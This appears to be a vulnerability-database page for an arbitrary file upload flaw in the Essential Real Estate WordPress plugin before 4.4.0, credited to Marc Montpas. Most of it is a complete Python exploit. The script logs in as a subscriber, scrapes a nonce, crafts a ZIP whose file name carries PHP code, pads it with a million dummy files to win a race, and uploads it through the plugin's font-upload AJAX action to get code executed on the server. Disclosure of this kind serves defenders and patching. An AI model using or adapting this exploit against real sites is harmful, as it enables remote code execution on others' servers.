Lucene search

K
wpexploitMarc MontpasWPEX-ID:C837EAF3-FAFD-45A2-8F5E-03AFB28A765B
HistoryDec 18, 2023 - 12:00 a.m.

Essential Real Estate < 4.4.0 - Subscriber+ Arbitrary File Upload

2023-12-1800:00:00
Marc Montpas
51
wordpress login
file upload
arbitrary code execution
security exploit

9.1 High

AI Score

Confidence

High

0.001 Low

EPSS

Percentile

43.6%

Description The plugin does not prevent users with limited privileges on the site, like subscribers, from momentarily uploading malicious PHP files disguised as ZIP archives, which may lead to remote code execution.

from io import BytesIO
import requests
import zipfile
import sys
import re

if len(sys.argv) != 4:
        print('USAGE: python %s <target_url> <user_login> <user_pass>' % (sys.argv[0],))
        sys.exit()

url = sys.argv[1].rstrip('/')
with requests.Session() as s:
        '''
                This exploit requires an account on the site (subscriber+)
        '''
        print('Logging in..')
        # Log into WordPress using our Subscriber account
        res = s.post(
                url + '/wp-login.php',
                headers={ 'Cookie': 'wordpress_test_cookie=WP Cookie check' },
                data={'log':sys.argv[2], 'pwd':sys.argv[3], 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie':1})

        print('Leaking nonce..')
        # Leak nonce
        nonce = re.search(r'GSF_META_DATA.*"nonce":"([0-9a-f]+)"', s.get(url + '/wp-admin/profile.php?action=delete').text)
        if not nonce:
                print('Couldn\'t find nonce!')
                sys.exit()
        nonce = nonce.group(1)

        print('Creating malicious ZIP file..')
        # Create a zip file in memory
        zip_buffer = BytesIO()
        with zipfile.ZipFile(zip_buffer, 'w', zipfile.ZIP_DEFLATED) as zip_file:
                # Malicious file whose name will launch phpinfo() later
                zip_file.writestr('<?php phpinfo();die();__halt_compiler();?>', '')
                # Add an empty style.css file
                zip_file.writestr('style.css', '')
                # A lot of useless file to give the user time to access the uploaded shell
                for i in range(1000000):
                        zip_file.writestr(f'{i}.woff', 'A')
        # Seek back to the beginning of the buffer
        zip_buffer.seek(0)

        print(f'Sending malicious font: Time to access {url}/wp-content/uploads/gsf-fonts/phpinfo.php in your browser!')
        # Send malicious request uploading our shell
        print(s.post(
                url + '/wp-admin/admin-ajax.php?action=gsf_upload_fonts',
                data={'_nonce': nonce, 'name': 'malicious_font2'},
                files={'file_font': ('phpinfo.php', zip_buffer, 'application/zip')}).text)

9.1 High

AI Score

Confidence

High

0.001 Low

EPSS

Percentile

43.6%

Related for WPEX-ID:C837EAF3-FAFD-45A2-8F5E-03AFB28A765B